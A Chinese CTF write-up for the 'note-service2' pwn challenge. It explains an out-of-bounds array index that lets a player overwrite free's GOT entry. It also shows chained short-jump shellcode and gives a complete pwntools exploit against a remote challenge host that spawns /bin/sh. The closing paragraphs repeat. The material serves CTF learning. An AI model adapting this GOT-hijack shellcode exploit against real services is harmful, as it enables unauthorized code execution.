[pwn-堆]note-service2
一、查看保护机制和运行过程
分析: 64位程序,通过寄存器传参,字长为8字节。 部分 RELRO:可以劫持got表。开启canary保护和地址随机化保护。
一道菜单题,输入测试,好像没什么反应
二、拖入ida分析
主要代码段
注意:下图为修改变量名并添加注释后的伪代码!!
小tips:根据程序的运行行为,修改变量名,添加注释,利于后续分析。
add_note
分析: 首先将目前note里存入的数量拿出来比较一下,当current_size在0到11之间就还能存储,之后输入index,size,这里会判断一下你要插入的笔记大小是否大于8,只有大小小于等于8时才能插入,这里会在堆上申请一块size大小的chunk,并返回指向chunk数据区域的指针,申请成功的指针存入note数组;如果申请成功,则插入内容。
del_note
分析:free堆块,用到free函数
sub_AC3
这里有一个往申请的chunk里填入数据的函数,可见最后一个字节(倒数第一个)要填为0,因此每次申请x个字节,只有x-1个字节可以使用,第x字节置为0.
漏洞点
分析了一圈,发现并没有对index进行检查。我们可以看出,是一个数组越界的漏洞,而且可以堆栈执行shell。所以大致思路为申请一些堆块并写入shellcode,然后将某一个函数的got表修指向堆块shell,调用该函数运行shellcode,进而获得shell
但是现实很骨感,我们面临好多困难,shellcode要怎么写? 一个堆块中只能写入7字节的数据,但shellcode远不止7字节,怎么处理?下面我们一一处理问题
前提知识:
一个堆块中只能放7字节,而shellcode不止7字节怎么办?
可以每个堆块存放一些,利用jmp指令实现短跳,连接起各个堆块。 shellcode的选择尽量越短越好
jmp short offset 对应的机器码为\xeb\x**
offset = 8 + 8 + 8 + 1 = 0x19**(从该命令结束的地方到下一个代码的起始位置)**
即跳转指令为jmp short 0x19,对应的机器码为: \xeb\e19
mov rdi, xxx //xxx=&("/bin/sh")
xor rsi,rsi //rsi=0,实际可以是mov rsi, 0 但是mov这个命令太长了。下同。
mov rax, 0x3b //rax=0x3b,0x3b为64位下execve对应的系统调用号
xor rdx,rdx //rdx=0,使用xor可以尽可能的缩短转换为机器码的字节数
syscall
#就是syscall调用execve("/bin/sh",0,0)
rdi的值怎么设置?
申请一个堆块A,然后在A堆块里写入"/bin/sh",然后修改free的got,再调用free函数释放A堆块的时候,第一个参数为A堆块地址。即"/bin/sh"的地址。所以需要劫持free的got表,修改为堆块A的地址。
利用数组越界修改got表处的内容,先根据以下高亮处计算偏移:
(2020A0 - 202018) / 8 = 0x11,即第一个堆块的-17处为free的got表的内容 8是因为64位,8字节表示一个指针
三、构造exp
注意:每个堆块中都需要补齐8字节,程序会默认在最后补0,故shellcode片段+nop指令+jmpshort指令为7字节
#前期可以根据以下代码确定要填充的nop指令长度
from pwn import *
context.update(arch = 'amd64')
print(len(asm("xor rsi,rsi")))
print(len(asm("mov eax, 0x3b")))
print(len(asm("xor rdx, rdx")))
print(len(asm("syscall")))
运行结果:
#coding=utf-8
from pwn import *
context.log_level='debug'
context.update(arch='amd64')
#io=process("./noteservice")
io=remote('223.112.5.156',65298)
def add(index,content):
io.recvuntil("your choice>>")
io.sendline("1")
io.recvuntil("index:")
io.sendline(str(index))
io.recvuntil("size:")
io.sendline("8") #全部申请为最大堆块8字节
io.recvuntil("content:")
io.sendline(content)
def dele(index):
io.recvuntil("your choice>>")
io.sendline("4")
io.recvuntil("index:")
io.sendline(str(index))
#注意:此处asm返回的为bytes,为使得类型统一,后面的字符串要加b前缀
add(0,"/bin/sh")
add(-17,asm("xor rsi,rsi")+b"\x90\x90\xeb\x19") #补齐8字节吗
add(1,asm("mov eax, 0x3b")+b"\xeb\x19")
add(2,asm("xor rdx, rdx")+b"\x90\x90\xeb\x19")
add(3,asm("syscall").ljust(7,b"\x90")) #左对齐,右侧补/x90
dele(0)#程序流开始的地方,为got表中的free函数
io.interactive()
题目写完,来一个小小的总结,把这道题的亮点和避坑点简单提一下(针对小白,大佬除外~~):
- 为保证shellcode短小精悍,原本的mov rsi, 0 写为xor rsi,rsi;
- jmp short 0x19的跳转位置需要调试一下才能知道为:从该代码的结束位置到下一代码的起始位置为偏移~
- 在python3中,字符串前面最好加b来统一类型。
- 面对重复操作,例如add,封装函数是一个不错的选择~
- 静态分析程序时改变量名也是个很好的选择哦~
怎么编写shellcode?
一般采用pwntools里的asm(shellcraft.sh()),一些简单的shellcode(比如本题中),自己可以手动编写,目的为调用execve(‘\bin\sh’)
最后祝愿每一位热爱ctf,热爱pwn的选手都能更上一层楼,在各大比赛中能展露自己的锋芒~
ellcode?**
一般采用pwntools里的asm(shellcraft.sh()),一些简单的shellcode(比如本题中),自己可以手动编写,目的为调用execve(‘\bin\sh’)
最后祝愿每一位热爱ctf,热爱pwn的选手都能更上一层楼,在各大比赛中能展露自己的锋芒~